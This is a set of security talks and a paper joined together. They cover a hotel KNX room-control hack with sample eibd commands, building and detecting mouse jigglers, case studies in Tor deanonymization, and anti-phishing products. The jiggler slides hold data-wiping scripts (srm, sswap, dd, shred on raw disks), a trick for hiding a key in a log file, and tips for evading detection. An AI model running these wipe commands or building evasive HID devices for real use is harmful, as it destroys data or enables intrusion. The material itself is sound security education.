local:/tmp/eib 2/0/3 80 (Switch on light) #groupswite local:/tmp/eib 2/0/3 81 (Switch off light) 5.6 Attack Scenarios From here, it is trivial for an attacker to create any hack scenario: raise all the blinds at the same time (note: eibd does not provide a method to send parallel messages to di↵erent IP destinations, so in this case an attacker needs to code the handshake itself, which is simple), trojanize the iPad to control every room instead of only your own (the ONE iPad), or just prank the neighbor. As the only requirement to perform the attack is access to the local open network of the hotel, you can just point an antenna to the building, bridge the hotel network to the internet and start sending commands. A fancier option is to install an iPad application that connects to an external network regularly waiting for commands. There is nothing to stop the attacker from rooting the iPad, or replacing it entirely with another one. The attacker could go deeper. First, the router configuration seemed modifiable and several configuration attacks may have been possible at the infrastructure level. Second, there seemed to be devices in the KNX network other than the ones controlled by the iPad application. Clues pointed to it: for example, in the “outside” corridor address space, many “ghost” addresses not used by the iPad (blank address with no apparent reason) existed. 11 5.7 Solutions The hotel room control featured multiple elements which made it vulnerable to a hack. In this case, an iPad with a beautiful room control application; a wireless communication channel; a KNX/IP router; and a KNX wired network to connect to the appliances. It is common not to follow the tired adage advising to provide security not as an afterthought but from the start. But in this case the adverse results were quite telling. The three elements do not provide any possible security mitigation. iPads are gadgets intended from personal use, and do not provide a multiuser environment to perform access control. The network for the hotel requires openness for guests to access and pay for the internet. Finally, and this is quite embarrassing, there is no option to provide security utilizing the KNX protocol. The security problems in KNX/IP are known in the research community for years [8]. Earlier works suggest the use of ZigBee for wireless communications [9]. In [10] researchers discuss the lack of security on KNX/IP and that in the standard only some “rudimentary” countermeasures are presented. Researchers proposed modification to the protocol called EIBsec, but only prototypes have been implemented. It seems that in the last specification version (2.1, published October 2013) the KNX consortium added some security, but as specification are not available to the general public, these claims cannot be reviewed. So at this point we will assume KNX provides no security whatsoever in the protocol. Given these facts, the only viable option (without changing the architecture significantly) is to provide a secure tunnel between the iPad and the KNX/IP router. This could easily be achieved by adding a certificate and tunnel code in the iPad, and a network device preceding the KNX/IP router that enables the secure tunnel (by deploying a commercial solution or using open source tools and hardware). The tunnel must provide mutual authentication, which could be achieved with di↵erent secure connection protocols, such as SSL. However, in this environment an attacker may steal the certificates from the iPad. To prevent this, before the next guest check-in, the iPad certificate could be reinstalled and the software integrity of the application installed verified. The old certificate could be automatically revoked from the tunneling server at time of check-out and the new certificate added at the time of check-in. This whole process could be easily automated by utilizing a configuration server (triggered after user check-out). Another method to perform this process o↵-line is to provide guest with the iPads at check-in. This option adds the benefit of allowing guests to inquire about the iPad functionality, or even decline its use if they are not comfortable with a multi-purpose computing device in their room. 12 6 Conclusion This particular attack has important implications for large scale home automation appli- cations, as several hotels around the world are beginning to o↵er this room amenity. The severity of these types of security flaws cannot be understated - from creating a chaotic atmosphere to raising room temperatures at night with fatal consequences - hoteliers need to understand the risks and liabilities they are exposed to by faulty security deployments. Security researchers, leaders in the automation market and members of the hotel industry need to start conversations to provide guest with reasonable protection standards while enjoying this new and promising technology. References [1] N. Zeminsky. Analysis: U.S. industrials, telecoms to face o↵ in home automation. http://www.reuters.com/article/2012/08/23/us-usa- manufacturing-homeautomation-idUSBRE87M0U320120823. [2] http://www.intelitycorp.com/main/press/facts.php. [3] Why use KNX? http://www.knxuk.org. [4] Siemens AG Dipl.-Ing. Hans-Joachim Langels. KNX IP –using IP networks as KNX medium. [5] Interworking. KNX association. [6] KNXnet/IP / KNX TP tunneling howto. http://www.eb-systeme.de/?page_id=479. [7] eibd. http://www.auto.tuwien.ac.at/˜mkoegler/index.php/eibd. [8] W. Granzer, G. Neugschwandtner, and W. Kastner. EIBsec: a security extension to KNX/EIB. In Konnex Scientific Conference, November 2006. [9] Christian Reinisch. Wireless communication in knx/eib. In KNX Scientific Conference, 2006. [10] Daniel Lechner, Wolfgang Granzer, and Wolfgang Kastner. Security for knxnet/IP. In Konnex Scientific Conf., 2008. 13
pdf
Mouse Jiggler Offense & Defense Dr. Phil @ppolstra Why this talk? ● Mouse jigglers now standard for LEOs ● Full disk encryption is worthless if logged in ● Building your own jiggler can be fun What is a mouse jiggler? ● Used to keep computer awake & unlocked ● Can be used as a prank ● Types – Software ● Not what this talk is about – Hardware ● The one to be worried about Detecting a Mouse Jiggler ● Known VID/PID (0x0E90)/(0x0028 or 0x0045) ● Behavior ● USB device class Detection via known VID/PID ● Single manufacturer of jigglers used today ● Detection is: – Quick – Easy – Definite Introduction to udev rules ● Determine what happens when new devices attached ● Set of matching conditions ● Any scripts launched must be short Udev rules for known VID/PID Contents of /etc/udev/rules.d/10-jiggler.rules ACTION=="add", ATTRS{idVendor}=="0e90", RUN+="/etc/udev/scripts/lockscreen.sh" Don't forget to run sudo service udev restart! Detection based on behavior ● Jigglers make periodic small mouse movements – Prank version=machine unusable (short period) – Forensic version has much longer period ● Periodic mouse commands can be detected – No clicks, only movement (normally in 1 axis only) – Normally a 2-button mouse ● Benign defenses should be applied immediately – Takes a few minutes for this detection Udev rules for behavior detection Contents of /etc/udev/rules.d/10-jiggler2.rules ACTION=="add", RUN+="/etc/udev/scripts/jiggler- detect.sh ${BUSNUM} ${DEVNUM}&" Don't forget to run sudo service udev restart! Detection script for behavior ● Use usbhid-dump to dump HID reports ● Must be run with root privileges ● Relies on no-click behavior (among other things) Jiggler-detect.sh #!/bin/bash # Mouse jiggler detector # Usage: jigggler-detect.sh <USB bus> <USB device address> # # Created by Dr. Phil Polstra for DEFCON 24 usage () { echo "Usage: $0 <USB bus> <USB device address>" echo "This script will attempt to detect a mouse" echo "jiggler based on behavior." exit 1 } if [ $# -lt 2 ]; then usage fi # mouse jigglers are normally 2-button mice # w/3-byte reports # use usbhid-dump to intercept reports and # check for 3 bytes # and no mouse clicks in two minutes # first check for the small report deviceAddress=$(printf "%03d:%03d" $1 $2) shortReport=$(timeout 1s usbhid-dump -a $deviceAddress -es \ | egrep "^ 00 00 00$" ) Jiggler-detect.sh (contd) if [ ! -z "$shortReport" ]; then echo "Found a possible mouse jiggler!" # collect reports for 2 minutes declare -a mouseReports; declare -a notNullReports mouseReports=($(timeout 2m usbhid-dump -a $deviceAddress -es \ | egrep -v "^$deviceAddress" | egrep -v "^Terminated")) # now check for clicks and small movement count=0; notNullCount=0 while [ "x${mouseReports[count]}" != "x" ] do # if there was a single mouse click it is not a jiggler if [ "x${mouseReports[count]}" != "x00" ]; then echo "Not a jiggler after all" ; exit 0 fi if [ "${mouseReports[count+1]}" != "00" ] || \ [ "${mouseReports[count+2]}" != "00" ]; then notNullReports[notNullCount]="${mouseReports[count]}:" notNullReports[notNullCount]+="${mouseReports[count+1]}:" notNullReports[notNullCount]+="${mouseReports[count+2]}" echo ${notNullReports[notNullCount]} notNullCount=$(( $notNullCount + 1 )) fi count=$(( $count + 3 )) done echo "Found $notNullCount non-null mouse reports" # create a unique array declare -a uniqueReports uniqueReports=$(echo "${notNullReports[@]}" | \ tr ' ' '\n' | sort -u | tr '\n' ' ') echo ${uniqueReports[@]} # if any of these are exactly the same this is a jiggler if [ ${#uniqueReports[@]} -ne $notNullCount ]; then echo "We have a jiggler!" exit 2 fi Jiggler-detect.sh (contd) else # check for the fancier MJ-3 which has # a 5-button 3-axis mouse and not a lot of noise shortReport=$(timeout 1m \ usbhid-dump -a $deviceAddress -es \ | egrep "^ 00 ([0-9A-F]{2} ){2}[0-9A-F]{2}$" ) if [ ! -z "$shortReport" ]; then echo "Found possible MJ-3" declare -a mouseReports # we need to collect reports a bit longer since # this one is not as chatty mouseReports=($(timeout 4m \ usbhid-dump -a $deviceAddress -es \ | egrep -v "^$deviceAddress" | \ egrep -v "^Terminated")) count=0 while [ "x${mouseReports[count]}" != "x" ] do # if there was a single mouse click it is not a jiggler if [ "x${mouseReports[count]}" != "x00" ]; then echo "Not a jiggler after all" exit 0 fi count=$(( $count + 4 )) done # if we made it this far this is definitely a jiggler echo "Fancy mouse jiggler found" else echo "No mouse jigglers here" exit 0 fi fi Detection based on device class ● Fires whenever possible jiggler inserted ● Should be benign ● Good idea even if other rules in place Udev rules for USB class Contents of /etc/udev/rules.d/10-jiggler3.rules ACTION=="add", SUBSYSTEM==”hid", RUN+="/etc/udev/scripts/lockscreen.sh" Don't forget to run sudo service udev restart! Defensive scripts ● Choose level of paranoia – Just lock screen – Encrypt some files – Start a secure wipe – Physical destruction Locking screen from a script ● Gnome – Get session ID from /bin/loginctl list-sessions – /bin/loginctl lock-session <sessionID> ● KDE & LXDE – /bin/su <user> -c “DISPLAY=:0 /usr/bin/xscreensaver-command -activate” ● Others: su <user> -c “DISPLAY=:0 <screenlock command> /etc/udev/scripts/lockscreen.sh !/bin/bash user='phil' # your user here # for Gnome sessionid=`/bin/loginctl list-sessions | grep ${user} | awk '{print $1}'` /bin/loginctl lock-session ${sessionid} # for KDE and LXDE #/bin/su ${user} -c "DISPLAY=:0 xscreensaver-command -activate" #other systems generally # /bin/su ${user} -c "DISPLAY=:0 <screensaver command> -activate" Encrypting sensitve files ● GPG ● OpenSSL ● Bcrypt and ccrypt ● Random encryption keys – Generating – (somewhat) securely storing GPG script #!/bin/bash usage () { echo "Usage: $0 <directory to encrypt>" exit 1 } if [ $# -lt 1 ]; then usage fi for filename in $1/* do # don't encrypt twice basefile=$(basename $filename) extension="${basefile##*.}" if [ "$extension" != "gpg" ]; then echo "password" | \ gpg --passphrase-fd 0 --symmetric \ $filename && rm -f $filename fi done OpenSSL script #!/bin/bash usage () { echo "Usage: $0 <directory to encrypt>" exit 1 } if [ $# -lt 1 ]; then usage fi for filename in $1/* do # don't encrypt twice basefile=$(basename $filename) extension="${basefile##*.}" if [ "$extension" != "enc" ]; then openssl aes-256-cbc -a -salt \ -k password \ -in $filename -out ${filename}.enc && rm -f $filename fi done Ccrypt script ● Ccrypt: JIGGLY=”password” ccencrypt -E JIGGLY <filename> Random encryption script ● Generate a random password using something like: dd if=/dev/urandom bs=1 count=128 | base64 ● Save to: – Middle of a log file – Some random file – Random sector (including unallocated) – Slack space ● Securely delete file when done! Random Encryption Example #!/bin/bash usage () { echo "Usage: $0 <directory to encrypt>" exit 1 } if [ $# -lt 1 ]; then usage fi # get a random password randPass=$(dd if=/dev/urandom bs=1 count=128 | base64) # how many files were encrypted? enced=0 for filename in $1/* do # don't encrypt twice basefile=$(basename $filename) extension="${basefile##*.}" if [ "$extension" != "gpg" ]; then enced=$(( $enced + 1 )) `echo $randPass | \ gpg --passphrase-fd 0 --symmetric \ $filename && srm -z $filename`& fi done if [ $enced -gt "0" ]; then echo "DKMS install key:$randPass" >>/var/log/vbox- install.log fi srm -z $0 Deleting sensitive files ● Secure-delete – srm – sfill – sswap Srm options ● -d ignore the dot files “.” and “..” ● -f fast, don't use /dev/urandom (don't use!) ● -l lessen security (don't use!) ● -r recursively delete subdirectories (yes please!) ● -v verbose (um... you are running a script) ● -z zeros on last write (they'll think its empty?) Delete script #!/bin/bash usage () { echo "Usage: $0 <directory to burn>" exit 1 } if [ $# -lt 1 ]; then usage fi # kill anything in the swap sswap -zf /dev/sda7 & # burn the files for filename in $1/* do srm -zfr $1 done # destroy the directory sfill $1 # hit swap again # sswap -z /dev/sda7 # shut it down! halt Wiping the whole disk ● Can get data from – /dev/zero – /dev/random – /dev/urandom ● Might take a while – Encrypt or delete important items first Disk wipe script ● Helps to have more than one partition! ● Unmount partition ● Delete that data – Quickest: dd if=/dev/zero of=/dev/sdX bs=1M – Better: dd if=/dev/urandom of=/dev/sdX bs=1M – Best: shred -fz /dev/sdX Physical destruction ● Charged capacitors ● Pyrotechnics ● Destructive edges ● Past DEFCON talks – DC19 – That's how I lost my eye – DC23 – That's how I lost my other eye Making your own jiggler ● Using FTDI VNC2 ● Coding ● Making it harder to detect ● Adding random keystrokes for max annoyance Intro to FTDI VNC2 ● Microcontroller (think Arduino) ● Supports 2 USB devices/hosts Coding jiggler ● Creating USB HID device ● Sending commands Creating a USB HID This code is shameless taken from John Hyde's USB Design by Example BYTE MouseReportDescriptor[] = { 5, 1, // Usage_Page (Generic Desktop) 9, 2, // Usage (Mouse) 0xA1, 1, // Collection (Application) 9, 1, // Usage(Pointer) 0xA1, 0, // Collection (Physical) 5, 9, // Usage page (Buttons) 0x19, 1, // Usage_Minimum (1) 0x29, 2, // Usage_Maximum (2) 0x15, 0, // Logical_Minimum (0) 0x25, 1, // Logical_Maximum (1) 0x75, 1, // Report_Size (1) 0x95, 2, // Report_Count (2) 0x81, 2, // Input (Data,Var,Abs) = 2 buttons 0x95, 6, // Report_Count (6) 0x81, 1, // Input (Constant) = Pad to byte 5, 1, // Usage page (Generic desktop) 9, 0x30, // Usage(X) 9, 0x31, // Usage(Y) 0x15, 0x81, // Logical_Minimum (-127) 0x25, 0x7F, // Logical_Maximum (127) 0x75, 8, // Report_Size (8) 0x95, 2, // Report_Count (2) 0x81, 6, // Input (Data,Variable,Relative) = X and Y 0xC0, // End_Collection 0xC0 // End_Collection }; Sending mouse commands ● The mouse sends HID reports to the host ● The format for this report is in the HID descriptor from the previous slide ● Simplest report is 3 bytes long – 1st byte contains up to 8 buttons – 2nd & 3rd bytes contain X & Y mouse coordinates (-128, 127) ● Other axis and button combinations possible Making your jiggler hard to detect ● Faking VID/PID (not standard or FTDI's VID) ● Randomizing inputs (not just the same few values repeated) ● Randomizing time interval (as long as they are all < 1 minute this should work) Adding optional random keystrokes ● Create a USB HID keyboard ● Sending the random keys Create a USB HID keyboard BYTE KeyboardReportDescriptor[] = { 5, 1, // Usage_Page (Generic Desktop) 9, 6, // Usage (Keyboard) 0xA1, 1, // Collection (Application) // First declare the key usage input report 5, 7, // Usage page (KeyBoard) 0x19, 0xE0, //Usage_Minimum (Keyboard - Left Control) 0x29, 0xE7, // Usage_Maximum (Keyboard - Right GUI) 0x15, 0, // Logical_Minimum (0) 0x25, 1, // Logical_Maximum (1) 0x75, 1, // Report_Size (1) 0x95, 8, // Report_Count (8) 0x81, 2, // Input (Data,Var,Abs) = Modifier Byte 0x81, 1, // Input (Constant) = Reserved Byte 0x19, 0, // Usage_Minimum (Keyboard - 0) 0x29, 82, // Usage_Maximum (Keyboard - UpArrow) 0x15, 0, // Logical_Minimum (0) 0x25, 82, // Logical_Maximum (82) 0x75, 8, // Report_Size (8) 0x95, 6, // Report_Count (KeycodesMax) 0x81, 0, // Input (Data,Array) = Key Usage Bytes // Now the LED output report 5, 8, // Usage Page (LEDs) 0x19, 1, // Usage_Minimum (LED - Num Lock) 0x29, 5, // Usage_Maximum (LED - Kana) 0x15, 0, // Logical_Minimum (0) 0x25, 1, // Logical_Maximum (1) 0x75, 1, // Report_Size (1) 0x95, 5, // Report_Count (5) 0x91, 2, // Output (Data,Var,Abs) = LEDs (5 bits) 0x95, 3, // Report_Count (3) 0x91, 1, // Output (Constant) = Pad (3 bits) 0xC0 // End_Collection }; This code is shameless taken from John Hyde's USB Design by Example Sending random keystrokes ● Keyboards use keycodes, not ASCII codes ● Multiple keys can be pressed simultaneously ● Since we want to send random keys we really don't care what values are sent! ● More details on this in my DC23 talk “One Device to Pwn Them All” Other ideas ● Converting this annoying device into a key logger is pretty simple ● Functionality of homemade jiggler could be combined with the scriptable USB HID keyboard described in my DC23 “One Device to Pwn Them All” talk Questions? ● @ppolstra ● I'm the handsome guy that is often wearing a deerstalker (Sherlock Holmes) hat
pdf
http://Irongeek.com Adrian Crenshaw http://Irongeek.com I run Irongeek.com I have an interest in InfoSec education I  don’t  know  everything  - I’m  just  a   geek with time on my hands Sr. Information Security Consultant at TrustedSec Co-Founder of Derbycon http://www.derbycon.com Twitter: @Irongeek_ADC http://Irongeek.com I will be taking two perspectives People trying to stay anonymous People trying to de-anonymize users I’m  not  really  a  privacy  guy IANAL Be careful where you surf, contraband awaits http://Irongeek.com http://Irongeek.com Darknets There are many definitions, but mine is “anonymizing  private  network  ” Use of encryption and proxies (some times other peers) to obfuscate who is communicating to whom Sometimes referred to as Cipherspace (love that term) http://Irongeek.com The Onion Router http://Irongeek.com Who? First the US Naval Research Laboratory, then the EFF and now the Tor Project (501c3 non-profit). http://www.torproject.org/ Why? “Tor  is  free  software  and  an  open  network  that  helps  you  defend  against  a  form   of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security known as traffic  analysis.”  ~  As  defined  by  their  site What? Access normal Internet sites anonymously, and Tor hidden services. How? Locally run SOCKS proxy that connects to the Tor network. http://Irongeek.com Layered encryption Bi-directional tunnels Has directory servers Mostly focused on out proxying to the Internet More info at https://www.torproject.org Internet Server Directory Server http://Irongeek.com http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Image from http://www.torproject.org/hidden-services.html.en http://Irongeek.com Client Just a user Relays These relay traffic, and can act as exit points Bridges Relays not advertised in the directory servers, so harder to block Guard Nodes Used to mitigate some traffic analysis attacks Introduction Points Helpers in making connections to hidden services Rendezvous Point Used for relaying/establishing connections to hidden services http://Irongeek.com http://Irongeek.com Tails: The Amnesic Incognito Live System https://tails.boum.org/ Tor2Web Proxy http://tor2web.org Tor Hidden Wiki: http://kpvz7ki2v5agwt35.onion Scallion (make host names) https://github.com/lachesis/scallion Onion Cat http://www.cypherpunk.at/onioncat/ Reddit Onions http://www.reddit.com/r/onions http://Irongeek.com Pros If you can tunnel it through a SOCKS proxy, you can make just about any protocol work. Three levels of proxying, each node not knowing the one before last, makes things very anonymous. Cons Slow Do you trust your exit node? Semi-fixed Infrastructure: Sept 25th 2009, Great Firewall of China blocks 80% of Tor relays listed in the Directory, but all hail bridges!!! https://blog.torproject.org/blog/tor-partially-blocked-china http://yro.slashdot.org/story/09/10/15/1910229/China-Strangles-Tor-Ahead-of-National-Day Fairly easy to tell someone is using it from the server side http://www.irongeek.com/i.php?page=security/detect-tor-exit-node-in-php http://Irongeek.com (Keep in mind, this is just the defaults) Local 9050/tcp Tor SOCKS proxy 9051/tcp Tor control port (9150 and 9151 on Tor Browser Bundle) Remote 443/tcp and 80/tcp mostly Servers may also listen on port 9001/tcp, and directory information on 9030. More details http://www.irongeek.com/i.php?page=security/detect-tor- exit-node-in-php http://www.room362.com/tor-the-yin-or-the-yang http://Irongeek.com http://geti2p.net http://Irongeek.com Crypto Currency Proof of work Bitcoin Addresses & Private Keys Block Chain (ledger) Tumblers (laundering) Way more info by Bob Weiss http://www.irongeek.com/i.php?page=videos/bsidesde2013/2-6- hacking-benjamins-bob-weiss-pwcrack-into-to-bitcoin http://Irongeek.com On  Dec.  16th  2013  a  bomb  threat  was  made  to  Harvard’s  student  news   paper and some officials. The person used https://www.guerrillamail.com to send email after connecting over Tor Guerrilla Mail puts an X-Originating-IP header on that marked who sent the message, in this case a Tor exit point To: "[email protected]" <[email protected]> From: <[email protected]> Subject: Hey baby! X-Originating-IP: [74.128.28.74] Content-Type: text/plain; charset="utf-8" shrapnel bombs placed in: science center sever hall emerson hall thayer hall 2/4. guess correctly. be quick for they will go off soon http://Irongeek.com All Tor nodes are publicly known (except bridges): http://torstatus.blutmagie.de Easy to correlate who was attached to Harvard network and using Tor at the same time the email was sent (unless you use a bridge). Eldo Kim was connected to the Tor network around that time. Suspect Eldo Kim wanted to get out of a final and admitted he made the bomb threat when interviewed. More Details: http://arstechnica.com/security/2013/12/use-of-tor-helped-fbi-finger- bomb-hoax-suspect/ http://www.scribd.com/doc/192371742/Kim-El-Do-Harvard http://Irongeek.com Lessons Learned: Don’t  be  the  only  person  using  Tor on a monitored network at a given time Use a bridge? Don’t  admit  anything Correlation attacks are a bitch http://Irongeek.com 5MB 8MB Client Client Client Client http://Irongeek.com Client Client Client I could just watch the timings. Pulse the data flows myself. Or even just change the load on the path. DoS outside host to affect traffic. http://Irongeek.com DNS Query Monitored DNS Server If  I  don’t  use  the   proxy for DNS, I may send the query to a DNS server.  It  won’t   see my traffic to/from the destination, but may now know I’m  visiting   someplace.com/ .onion/.i2p http://Irongeek.com Hector Xavier Monsegur (Sabu) normally used Tor for connecting to IRC but was caught not using it once and FBI found his home IP. After being caught, he started to collaborate. Hector spoke with Jeremy Hammond (sup_g) on IRC, and Jeremy casually let slip where he had been arrested before and groups he was involved with. This narrowed the suspect pool, so the FBI got a court order to monitor his Internet access. http://Irongeek.com Hammond used Tor, and while the crypto was never busted, FBI correlated times sup_g was talking to Subu on IRC with when Hammond was at home using his computer. More Details: http://arstechnica.com/tech- policy/2012/03/stakeout-how-the-fbi- tracked-and-busted-a-chicago-anon/ http://Irongeek.com Lessons Learned: Use Tor consistently Don’t  give  personal  information Correlation attacks are still a bitch! http://Irongeek.com Freedom Hosting hosted, amongst other things, many child porn related hidden service websites. Freedom Hosting had previously come under attack by Anonymous during Op Darknet because of it hosting CP. In July of 2013, the FBI compromised Freedom Hosting, and inserted malicious Java Script that used Firefox bug CVE-2013-1690 in version 17 ESR. The Tor Browser Bundle is based on Firefox, and the newest version was already patched, but not everyone updates in a timely fashion. http://Irongeek.com The  payload  was  “Magneto”,  which  phoned  home   to  servers  in  Virginia  using  the  host’s  public  IP. http://ghowen.me/fbi-tor-malware-analysis It  also  reported  back  the  computer’s: MAC address Windows host name unique serial number to tie a user to a site May be same as EgotisticalGiraffe. See also: Magic Lantern FOXACID Computer and Internet Protocol Address Verifier (CIPAV) Thanks to Joe Cicero for "Privacy In a Surveillance State, Evading Detection" (P.I.S.S.E.D.) talk. I am the best Giraffe EVAR!!! Bow to my Giraffey goodness! http://Irongeek.com An Irish man, Eric Eoin Marques, is alleged to be the operator of Freedom Hosting. The servers hosting Freedom Hosting were tied to him because of payment records. Marques was said to have dived for his laptop to shut it down when police raided him. More Details: http://www.wired.com/threatlevel/2013/09/freedo m-hosting-fbi/ http://Irongeek.com Lessons Learned: Don't host Captain Picard or Julian Bashir Patch, patch, patch Follow the money Leave encrypted laptops in a powered down state when not in use! http://Irongeek.com Let’s  see  if  the   hidden server app is vulnerable to an exploit (buffer overflow/web app shell exec/etc). Send a payload that contacts an IP I monitor. Exploit & Payload http://Irongeek.com Someone  going  by  the  handle  “Dread  Pirate Roberts”  was  the  operator  of  the  SilkRoad, which allows sellers and buyers to exchange less than legal goods and services. http://silkroadvb5piz3r.onion With about $1.2 Billion in exchanges on SilkRoad, FBI wanted to know who was behind it. They started to look for the earliest references to the SilkRoad on the public Internet. From court documents: “As of September 23, 2013, there were nearly 13,000 listings for controlled substances on the website, listed under the categories "Cannabis," "Dissociatives," "Ecstasy," "Intoxicants," "Opioids," "Precursors," "Prescription," "Psychedelics," and "Stimulants," among others. “ “There  were 159 listings on the site under the category "Services." Most concerned computer-hacking services: for example, one listing was by a vendor offering to hack into Facebook, Twitter, and other social networking accounts of the customer's choosing, so that "You can Read, Write, Upload, Delete, View All Personal Info"; another listing offered tutorials on "22 different methods" for hacking ATM machines. Other listings offered services that were likewise criminal in nature. For example, one listing was for a "HUGE Blackmarket Contact List," described as a list of "connects" for "services" such as "Anonymous Bank Accounts," "Counterfeit Bills (CAD/GBP/EUR/USD) ," "Firearms +Ammunition," "Stolen Info (CC [credit card], Paypal) ," and "Hitmen (10+ countries)." “ “Sellers may not list forgeries of any privately issued documents such as diplomas/certifications, tickets or receipts. Also, listings for counterfeit currency are still not allowed in the money section.” http://Irongeek.com The  earliest  they  could  find  was  from  “altoid”  on the Shroomery.org forums on 01/27/11. http://www.shroomery.org/forums/showflat.php/Number/13860995 http://Irongeek.com BitCoinTalk.org Post “Quote from: altoid on January 29, 2011, 07:44:51 PM What an awesome thread! You guys have a ton of great ideas. Has anyone seen Silk Road yet? It's kind of like an anonymous amazon.com. I don't think they have heroin on there, but they are selling other stuff. They basically use bitcoin and tor to broker anonymous transactions. It's at http://tydgccykixpbu6uz.onion. Those not familiar with Tor can go to silkroad420.wordpress.com for instructions on how to access the .onion site. Let me know what you guys think”https://bitcointalk.org/index.php?topic=175.msg42479#msg42479 http://Irongeek.com An  account  named  “altoid”  also  made  a post on Bitcointalk.org about looking for an  “IT  pro in the bitcoin community”  and  asked  interested  parties  to  contact   “rossulbricht at gmail dot com”  (10/11/11). https://bitcointalk.org/index.php?topic=47811.0 http://Irongeek.com Ulbricht’s  Google+  profile  show  an  interest    in  the  “Mises Institute”    a  “world   center of the Austrian School of economics.” Dread  Pirate  Roberts’  signature  on  the  Silk  Road  forums  had  a  link  to  the  Mises Institute. Austrian Economic theory was also stated by Dread Pirate Roberts to be  influential  to  the  the  Silk  Road’s  philosophy. http://Irongeek.com "Ross Ulbricht.”  account  also  posted  on  StackOverflow asking for help with PHP code to connect  to  a  Tor  hidden  service.  The  username  was  quickly  changed  to  “frosty”   (03/16/12). http://stackoverflow.com/questions/15445285/how-can-i-connect-to-a-tor-hidden- service-using-curl-in-php Guess who is now a suspect for being “Dread  Pirate  Roberts”?  Ross  William Ulbricht. http://Irongeek.com Someone was connecting to a server that hosts the Silk Road from an Internet café near where Ross lived in San Francisco. Private messages on Silk Road make it seem Dread Pirate Roberts lived in the Pacific time zone. IP of a Silk Road server was attached to via a VPN server that was connected to by an IP belonging to an Internet cafe on Laguna Street in San Francisco from which Ulbricht had also connected to his Gmail account with (both on June 3, 2013). PM to Dread Pirate Roberts from a user said the site was leaking "some sort of external IP address" belonging to the VPN. FBI starts taking down SilkRoad servers,  though  I’m  are  not  sure  how  they  were   found. Could have been money trail to aliases, or as Nicholas Weaver conjectured, they hacked SilkRoad and made it contact an outsides server without  using  Tor  so  it  revealed  it’s  real  IP.  Once  located,  FBI  was  able  to  get  a   copy of one of the servers. http://Irongeek.com On 07/10/13 US Customs intercepted 9 IDs with different names, but all having a picture of Ulbricht. Homeland Security interviewed Ulbricht, but he denied having ordered them. Smart:  “ULBRICHT  generally refused to answer any questions pertaining to the purchase of this or other counterfeit identity documents.” Stupid:  “However, ULBRICHT volunteered that "hypothetically" anyone could go onto a website named "Silk Road" on "Tor" and purchase any drugs or fake identity documents the person wanted. “ Roommates  knew  him  as  “Josh”.  PMs  show  DPR  was  interested  in  getting  fake  IDs. http://Irongeek.com Server used SSH and a public key that ended in frosty@frosty. Server also had some of the same code posted on StackOverflow. Eventually, on 10/01/2013 the FBI Landed on him in a Library right after he entered the password for his laptop. More evidence was found on his laptop. More info (Big thanks to Nate Anderson for the original article and Agent Christopher Tarbell for court docs): http://arstechnica.com/tech-policy/2013/10/how-the-feds-took-down-the-dread- pirate-roberts/ https://www.cs.columbia.edu/~smb/UlbrichtCriminalComplaint.pdf http://Irongeek.com Lessons Learned: Keep online identities separate Keep different usernames From different locations Have a consistent story Don’t  talk  about  interests Don’t  volunteer information! http://Irongeek.com Maybe? http://Irongeek.com Talk on Darknets in general http://www.irongeek.com/i.php?page=videos/aide-winter- 2011#Cipherspace/Darknets:_anonymizing_private_networks I2P FAQ http://www.i2p2.de/faq.html Tor FAQ https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ Tor Manual https://www.torproject.org/docs/tor-manual.html.en I2P Index to Technical Documentation http://www.i2p2.de/how http://Irongeek.com Intro to Darknets: Tor and I2P Workshop http://www.irongeek.com/i.php?page=videos/intro-to-tor-i2p-darknets My Tor/I2P Notes http://www.irongeek.com/i.php?page=security/i2p-tor-workshop-notes Cipherspaces/Darknets An Overview Of Attack Strategies http://www.irongeek.com/i.php?page=videos/cipherspaces-darknets-an-overview-of-attack-strategies Anonymous proxy to the normal web http://www.irongeek.com/i.php?page=videos/tor-1 Hidden services Normally websites, but can be just about any TCP connection http://www.irongeek.com/i.php?page=videos/tor-hidden-services http://Irongeek.com Derbycon Sept 24th-28th, 2014 http://www.derbycon.com Others http://www.louisvilleinfosec.com http://skydogcon.com http://hack3rcon.org http://outerz0ne.org http://phreaknic.info http://notacon.org Photo Credits to KC (devauto) Derbycon Art Credits to DigiP http://Irongeek.com 42 Twitter: @Irongeek_ADC
pdf
1 2  We all hear about anti-phishing gadgets that cost an arm and a leg.  I’m here to tell you why you’ll pay for it, even though it doesn’t work.  Because you’re going to fall into the trap, just like everyone else. Plan to fail now.  Let’s get on with it. 3  "Please mail us your username, password and token."  People won’t federate  People lose them, type them in backwards, etc... etc...  Can anyone beat the record of 13 keyfobs?! 4  Hackers don't use .bank and no one notices anyway.  Only banks can use it? Can I have .momandpa pls?  Wait, why again are we building another EV Cert? 5  Phishers don't use SSL  Prohibitively expensive for ma and pa retailers  Users don't get it anyway  Look for the lock messaging is lost GridOne 01878796 01 87 87 96 ISSA Snake oil 7  MIT study – People don’t notice if it’s changed or even not there at all!  Man in the middle attacks  Phishers can simply say, “We lost your sitekey image, could you pick a new one, kthksbye” 8  The vast majority of trusted sites still have:  XSS  CSRF  SQLInjection  Command injection 9  Don't use any sort of email, phone or FAX encryption with their customers/clients  Don't have any brute force detection (or if they do, only vertical)  Don't force strong passwords, auto log out, automatic password change, etc...  Do have downloads over HTTP! Weee! 10  Yup, you’re going to pay for all those same nearly pointless security doo- dads even though you haven’t fixed any of your other issues! 11  Bear analogy. (I hate that analogy, btw). We are bidding up our security.  Yes, you will probably buy snake oil, just like everyone else.  Can you blame the vendors for monetizing our problems with the latest security widget?  Plan to fail - you’re probably already doing it!
pdf
